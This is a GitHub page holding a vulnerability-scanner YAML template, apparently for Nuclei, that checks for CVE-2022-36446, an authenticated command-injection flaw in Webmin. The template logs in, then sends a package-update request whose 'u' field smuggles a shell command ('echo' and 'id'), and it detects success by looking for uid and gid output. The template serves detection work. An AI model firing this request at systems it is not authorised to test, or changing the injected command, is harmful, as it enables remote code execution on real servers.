-
Notifications
You must be signed in to change notification settings - Fork 3
/
CVE-2022-36446.yaml
47 lines (40 loc) · 1.31 KB
/
CVE-2022-36446.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
id: CVE-2022-36446
info:
name: Webmin - Remote Code Execution (Authenticated)
author: gy741
severity: critical
description: |
Webmin before 1.997 is vulnerable to RCE exploits. an authenticated, remote attacker to perform command injection attacks.
reference:
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
classification:
cve-id: CVE-2022-36446
tags: cve,cve2022,webmin,rce,authenticated
requests:
- raw:
- |
POST /session_login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: status
status:
- 200